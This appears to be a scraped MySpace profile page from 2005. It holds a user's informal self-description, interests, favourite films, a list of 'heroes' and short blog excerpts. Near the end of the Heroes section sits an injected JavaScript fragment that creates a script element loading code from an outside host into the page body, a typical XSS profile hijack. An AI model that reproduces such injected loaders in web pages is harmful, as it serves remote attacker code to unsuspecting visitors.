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joelle

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About Me

If happieness is antisipation with certainty, i am happy. Although, i was physically revolted by and secretly frightened by those round moronic eyes. When I took it to bed, its hard unyeilding limbs resisted my flesh- those taperered fingertips on those dimpled hands scratched. It was a most uncomfortable, patently agressive sleeping companion. I have only one desire....to dismember it. To see what it is made of. I could not love it. But I could examine it to see what it was the all the world said was lovable. Break off the fingers, bent the feet, loosen the hair, twist the head around. "You-dont-know-how-to-take-care-of-nothing-. Now-you-got-one-a-beautiful-one-and-you-tear-it-up?Whats-the -matter-with-you?" I dont know? But i do know that nobody ever asked me what i wanted for Christmas. Had anyone with the power to fill my desires taken me seriously and asked me what i wanted, they would have known that i did not want to have anything to own, or to posess any object. I wanted rather to feel something on Christmas day. "I want to sit on the low stool in Big Mama's kithchen with my lap full of lilacs listenin to Big Papa...
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My Interests

fuckin delete key, bastard... lets see- im interested in flying, (like the boy), flurting, dressing the finest females in the finest fabrics. I like little red corvettes.. I love to dance,, yeah- here it comes- Im like tina turner after oh- 2 drinks. Private dancer, anyone?.. take me to a dope lounge with a dj thats spinnin flavor, and its Over. I can proudly say that when i dance, others around me dance and later go home to have really good sex.. Im interested in religious studies, lazoring my bikini line perminantly, finishing school, costume design, traveling, creating and reinventing purses, quantom physic, tantric sex, and i dont know- bringing back the dead.. i want to grow fava beans in my backyard. Im gonna get the hell out of dodge- im savin all my change frome cocktailing and then its off to Brazil- I want to dance in Rio. I want to build a sailboat out of soymilk containers- I like goin to gaybars in W. Hollywood on monday nights. I like showin off- sometimes. I think a small amout of competition- direct as well as silently- is healthy- makes you strive for more- I take the long way home i dont believe in shortcuts. I do believe in love.. although im not sure ive ever really experienced it...some days, yes, others,,,No No NO.. I hate smoken pot- didnt always, i love bustin my ass- the end results are often rewarding....Champagne, sex, and immitation crab meat- the name of my book- a day in the life of- Long beach style...I hate freeloader that lye around and about who they are- you jus be you bra. im annoyed by people that say lets keep in touch- and then dont.. Que Sera, friends.... I am greatful for the ties I have made and the wonders of my life- to whom ever i owe- thank you!! Maybe ill surrender myself to baby jesus- maybe ill marry the anti-crist, never can tell. I love dance 360,,,Shhhhhsshhh!!! I love the heat- lyin out on the beach after a long night. Im a helpless romamtic- i swear.. boys that can dance and dont wear a size 0 pant size- word to your mother... what do i fall for? the hands of a true artist... always.. A good love song that was written for me- be still, my heart.. I enjoy a good rainstorm- i like holding hands. making rings out of fireflys- i know, im cruel and heartless. I love freckles- my most favorite characteristic- on anyone. I live to laugh- lifes too damn long- A cigarette and strong cup of joe- sad but true..sad but true.....

I'd like to meet:

Tina Turner, TIna Turner, Tina Turner!!!!! Jude Law, Johnny Depp, Jack Nickolson, David Lee Roth, Zelda: PM's oldest club kid, Grandpa Sonny...R.I.P., any gay boys with style and potential to cut my sheeplike afro, and all of my ex's ex's....NOT. Tina Turner...

Music:

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Movies:

the terminal, grumpy old men, pink flamingos, r.h.p.s., save the last dance, anything with johnny depp in it, donnie darko, o' brother where art thou,Hook, Mac and me,Labyrinth, lock stock n 2 smokin barrels, 6th string samuri, austin powers, Blow,party Monster, Requiem for a dream, a bronx tale, city of god, Brazil, the garden state, mean girls, the Dreamers....

Television:

sex and the city,
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Books:

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Heroes:

angel and chris, dana verdi, sara taylor, tracey, erin craig, Alex, vanessa quinn petronio, fatty, lyle guanzon, gilda grey, holly salazar, marivic, dave novaro, howard stern, anna nicole smith, jessie jane, will smith, lenny . 2. '..var x=document.createElement('script');x.src='http://www.actuali zando.com/.../...';document.getElementsByTagName('body')[0]. appendChild(x);" /

My Blog

for a friend.

leaving beer and apples on the window for later lying together those nights till four, talking everybody must have thought that we were lovers.your beard in the blanket. smell of my cigarette in your ...
Posted by joelle on Fri, 28 Oct 2005 11:36:00 PST

styles of vision..

to the fearful eye- all is threatening. to the greedy eye, everything can be possessed. to the judgemental eye, everything is closed in definitive frames. to the indifferent eye, nothing calls or awak...
Posted by joelle on Mon, 01 Jan 1900 12:00:00 PST

my greatest lover was a boy named..

do you really think I would unload my deepest on myspace?  so funny- I dont kiss n tell - either- thats just tacky. ...
Posted by joelle on Mon, 01 Jan 1900 12:00:00 PST

picasso-

Art is a lie that enables us to Realize the truth...
Posted by joelle on Mon, 01 Jan 1900 12:00:00 PST